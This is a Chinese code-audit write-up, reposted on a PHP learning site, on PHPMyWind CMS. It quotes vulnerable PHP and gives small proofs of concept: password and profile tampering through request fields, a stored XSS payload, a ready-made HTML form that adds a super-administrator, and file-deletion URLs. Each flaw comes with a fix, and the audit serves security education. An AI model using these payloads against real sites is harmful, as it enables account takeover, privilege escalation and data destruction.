来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] www.2cto.com:作者求职信息也保留了,祝他好运年底就离校了,大专,软件测试专业。求安全公司收留。渗透测试、软件测试、代码审计都可以,最好是做安全。联系方式:root@cnseay.comP...
www.2cto.com:作者求职信息也保留了,祝他好运
年底就离校了,大专,软件测试专业。求安全公司收留。渗透测试、软件测试、代码审计都可以,最好是做安全。联系方式:root@cnseay.com PHPMyWind介绍: PHPMyWind 是一款基于PHP+MySQL开发,符合W3C标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供“核动力“。[PHPMyWind 是一款基于PHP+MySQL开发,符合W3C标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供"核动力"。
作者:Seay 博客:http://www.cnseay.com/ 说明:看代码审计的文章,是要学思路,而不是用别人的成果去入侵。不断学习,不断钻研,才能不断进步。
审计环境: 用到的工具:Seay PHP代码审计工具2012终结版 下载地址:http://www.2cto.com/soft/201211/35083.html 过滤函数:80sec提供的过滤函数,过滤了一些像union的特殊字符。。。 include\\common.inc.php文件已经对提交上来的数据进行转义。
文件结构: 我们先用工具载入源码,函数扫描一遍。
一、任意会员密码+资料修改漏洞: 任意会员密码密码修改: 漏洞文件:\\member.php 代码: //设置新密码 346 else if($a == 'setnewpwd') 347 { 348 if(!isset($_POST['uname'])) //可输入变量$_POST 可能存在安全威胁 349 { 350 header(‘location:?c=findpwd’); 351 exit(); 352 } 353 354 355 //初始化参数 356 $uname = empty($uname) ? ” : $uname; 357 $password = empty($password) ? ” : md5(md5($password)); 358 $repassword = empty($repassword) ? ” : md5(md5($repassword)); 359 360 361 //验证输入数据 362 if($uname == ” or 363 $password == ” or 364 $repassword == ” or 365 $password != $repassword or 366 preg_match(“/[^0-9a-zA-Z_-]/”,$password)) 367 { 368 header(‘location:?c=findpwd’); 369 exit(); 370 } 371 372 373 if($dosql->ExecNoneQuery(“UPDATE `detest_member` SET password=’$password’ WHERE username=’$uname’”)) 374 { 375 header(“location:?c=login&d=”.md5(‘newpwd’)); 376 exit(); 377 } 378 }
直接取到’uname’ 就带入到数据库。我们可以抓包,把uname修改成其他用户名,重新提交数据包即可修改其密码。我们可以跟踪ExecNoneQuery函数看一下。
在include/mysql.class.php文件中。
//执行一个不返回结果的SQL语句,如update,delete,insert等 function ExecNoneQuery($sql=”) { global $dosql;
if($dosql->isclose) { $this->Open(false); $dosql->isclose = false; }
if(!empty($sql)) { $this->SetQuery($sql); } else { return false; }
//SQL语句安全检查 if($this->safecheck) { $this->CheckSql($this->querystring,’update’); }
if(mysql_query($this->querystring, $this->linkid)) { return true; } else { $this->DisplayError(mysql_error().’ Error sql: ’.$this->querystring); exit(); } }
看到标红的SetQuery($sql);。我们继续跟踪。函数还是在本文件内。
//设置SQL语句,会自动把SQL语句里的detest_替换为$this->db_tablepre(在配置文件中为$db_tablepre) function SetQuery($sql) { $prefix = ’detest_’; $this->querystring = str_replace($prefix, $this->db_tablepre, $sql); }
看到只是拼接下SQL语句而已,最终把SQL语句交给了querystring 变量。
继续回到ExecNoneQuery函数。我们看到
//SQL语句安全检查 if($this->safecheck) { $this->CheckSql($this->querystring,’update’); } $this->result[$id] = mysql_query($this->querystring, $this->linkid);
if(empty($this->result[$id]) && $this->result[$id]===false) { $this->DisplayError(mysql_error().’ Error sql: ’.$this->querystring); exit(); }
继续跟踪CheckSql函数,就看到蛋疼的东西了。
//SQL语句过滤程序,由80sec提供,这里作了适当的修改 function CheckSql($sql, $querytype=’select’) { $clean = ”; $error = ”; $pos = -1; $old_pos = 0;
//如果是普通查询语句,直接过滤一些特殊语法 if($querytype == ’select’) { if(preg_match(‘/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/’, $sql)) { $this->DisplayError(“$sql||SelectBreak”,1); } /*省略*/
蛋疼的拼接好SQL语句再检查。。。
修复:SQL语句where后面的值从session中获取。
任意会员资料修改:
同样在\\member.php文件,看到更新资料处。
//更新资料 413 else if($a == ’saveedit’) 414 { 415 if($password!=$repassword or 416 $email==”) 417 { 418 header(‘location:?c=edit’); 419 exit(); 420 } 421 422 423 //检测旧密码是否正确 424 if($password != ”) 425 { 426 $oldpassword = md5(md5($oldpassword)); 427 $r = $dosql->GetOne(“SELECT `password` FROM `detest_member` WHERE `username`=’$c_uname’”); //可能存在SQL查询语句,请注意是否过滤 428 if($r['password'] != $oldpassword) 429 { 430 ShowMsg(‘抱歉,旧密码错误!’,'-1′); 431 exit(); 432 } 433 } 434 435 $sql = ”UPDATE `detest_member` SET ”; 436 if($password != ”) 437 { 438 $password = md5(md5($password)); 439 $sql .= ”password=’$password’, ”; 440 } 441 @$sql .= ”question=’$question’, answer=’$answer’, cnname=’$cnname’, enname=’$enname’, sex=’$sex’, birthtype=’$birthtype’, birth_year=’$birth_year’, birth_month=’$birth_month’, birth_day=’$birth_day’, astro=’$astro’, bloodtype=’$bloodtype’, live_prov=’$live_prov’, live_city=’$live_city’, live_country=’$live_country’, home_prov=’$home_prov’, home_city=’$home_city’, home_country=’$home_country’, cardtype=’$cardtype’, cardnum=’$cardnum’, intro=’$intro’, email=’$email’, qqnum=’$qqnum’, mobile=’$mobile’, telephone=’$telephone’, address_prov=’$address_prov’, address_city=’$address_city’, address_country=’$address_country’, address=’$address’, zipcode=’$zipcode’ WHERE id=$id”; 442 443 if($dosql->ExecNoneQuery($sql)) 444 { 445 ShowMsg(‘资料更新成功!’,'?c=edit’); 446 exit(); 447 } 448 }
我们看到SQL语句是直接拼接起来的,跟之前密码修改一样,$id我们可控,修改下密保或者邮箱就可以直接找回密码。
修复:同理,SQL语句where后面的值从session中获取。
当然同类的小缺陷还有,就不列出来了,主要是对网站危害不大。如果会员跟管理员在一个表,那你们懂得。。。但是现实总是那么残酷啊,好了,不做梦乱想了。。。
二、会员资料XSS漏洞 代码还是上面那段代码。未对特殊字符做编码处理,产生XSS漏洞。 我们在“通信地址”处输入“”><script>alert(/xss)<script>”.。 点击更新,立马触发,我们再到后台用户管理看看。
很鸡肋啊,不过动动你的脑筋,结合社会工程学,让管理查看下你的资料,也不是不可能的事。再结合上次Yaseng基友说的CSRF,就可以直接Getshell。
修复:对提交的字符特殊字符做编码处理
三、后台越权添加+审核+删除任意用户信息(含密码) 越权添加用户: 后台用户信息保存的文件admin\\admin_save.php 验证了是否登录,但是没验证管理员的角色,我们可以构造一个POST的包,即可添加超级管理员。 18 //添加管理员 19 if($action == ’add’) 20 { 21 if(preg_match(“/[^0-9a-zA-Z_@!\.-]/”,$username) || preg_match(“/[^0-9a-zA-Z_@!\.-]/”,$password)) 22 { 23 ShowMsg(‘用户名或密码非法!请使用[0-9a-zA-Z_@!.-]内的字符!’, ’-1′); 24 exit(); 25 } 26 27 if($dosql->GetOne(“SELECT id FROM `$tbname` WHERE username=’$username’”)) //可能存在SQL查询语句,请注意是否过滤 28 { 29 ShowMsg(‘用户名已存在!’, ’-1′); 30 exit(); 31 } 32 33 $password = md5(md5($password)); 34 $loginip = ’127.0.0.1′; 35 $logintime = time(); 36 37 $sql = ”INSERT INTO `$tbname` (username, password, loginip, logintime, levelname, checkadmin) VALUES (‘$username’, ’$password’, ’$loginip’, ’$logintime’, ’$levelname’, ’$checkadmin’)”; 38 if($dosql->ExecNoneQuery($sql)) 39 { 40 header(“location:$gourl”); 41 exit(); 42 } 43 }
俺写的一个提交的页面,要在登录的情况下:
<form name=”form” id=”form” method=”post” action=”http://localhost/admin/admin_save.php?action=add”> <label></label> <table width=”284″ height=”103″ border=”1″ align=”center”> <tr> <td width=”74″>用户名:</td> <td width=”194″><label> <input type=”text” name=”username” class=”class_input” id=”username” /> </label></td> </tr> <tr> <td>密 码:</td> <td><input type=”password” name=”password” class=”class_input” id=”password” /></td> </tr> <tr> <td>权 限:</td> <td><select name=”levelname” id=”levelname”> <option value=”0″>超级管理员</option> <option value=”1″>普通管理员</option> <option value=”2″>文章发布员</option> </select></td> </tr> <tr> <td>审 核:</td> <td><input type=”radio” name=”checkadmin” value=”true” checked=”checked”> 已审核 </td> </tr> <tr> <td colspan=”2″ align=”center”><label> <input type=”submit” name=”Submit” value=” 添 加 ” /> </label></td> </tr> </table> </form>
可以用来权限提升。
越权删除管理
108 //删除管理员 109 else if($action == ’del’) 110 { 111 if($id == 1) 112 { 113 ShowMsg(‘抱歉,不能删除创始账号!’,'-1′); 114 exit(); 115 } 116 117 if($dosql->ExecNoneQuery(“DELETE FROM `$tbname` WHERE id=$id”)) 118 { 119 header(“location:$gourl”); 120 exit(); 121 } 122 } 123 124 125 //无条件返回 126 else 127 { 128 header(“location:$gourl”); 129 exit(); 130 } 131 ?>
还有审核同样。。。。
修复:操作前验证管理权限
四、后台多处任意文件+目录删除漏洞 先看admin/upload_filemgr_save.php文件。
//初始化参数 $gourl = isset($dirname) ? ’upload_filemgr_dir.php?dirname=’.$dirname : ’upload_filemgr_dir.php’; $dirname = isset($dirname) ? $dirname : ”; $filename = isset($filename) ? $filename : ”; //删除文件 if($action == ’delfile’) { $dstring = ’../’.$dirname.$filename;
if(file_exists($dstring)) { if(@unlink($dstring)) { header(“location:$gourl”); exit(); } else { ShowMsg(‘未知错误,文件删除失败!’, $gourl); exit(); } } else { ShowMsg(‘在目录中未找到该文件,请尝试刷新文件列表!’, $gourl); exit(); } }
dirname 和filename 均未过滤,多个文件都是这样。删…
http://localhost/phpmywind/admin/database_backup.php?action=import&dopost=del&dirname=2012_1115000841_VZeCyy&tbname=pmw_admanage_0_jIzU7L.txt
http://localhost/phpmywind/admin/upload_filemgr_save.php?mode=dir&action=delfile&dirname=uploads%2Fimage%2F&filename=index.htm
…..
修复:过滤目录。。。
五、后台目录浏览漏洞 /admin/upload_filemgr_dir.php文件中dirname过滤不严,导致任意目录浏览+删除。 修复:
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com